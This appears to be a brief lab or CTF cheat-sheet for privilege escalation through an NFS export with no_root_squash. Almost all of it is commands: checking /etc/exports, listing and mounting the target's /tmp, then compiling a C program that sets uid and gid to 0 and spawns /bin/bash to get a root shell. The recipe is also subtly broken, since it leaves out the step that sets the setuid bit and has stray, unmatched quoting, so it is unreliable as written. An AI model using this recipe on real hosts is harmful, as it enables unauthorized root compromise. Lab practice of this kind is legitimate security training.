cat /etc/exports in our example the "no root squash is defined for the tmp export. The folder is sharable and can be mounted
cat /etc/exports
showmount -e IP-OF-TARGET list the mountable folder of our target
showmount -e IP-OF-TARGET
mkdir /tmp/1
mount -o rw,vers=2 10.10.32.193:/tmp /tmp/1 we mount our folder
mount -o rw,vers=2 10.10.32.193:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
/tmp/x we can execute our binary
/tmp/x
We should be root!
Last updated 3 years ago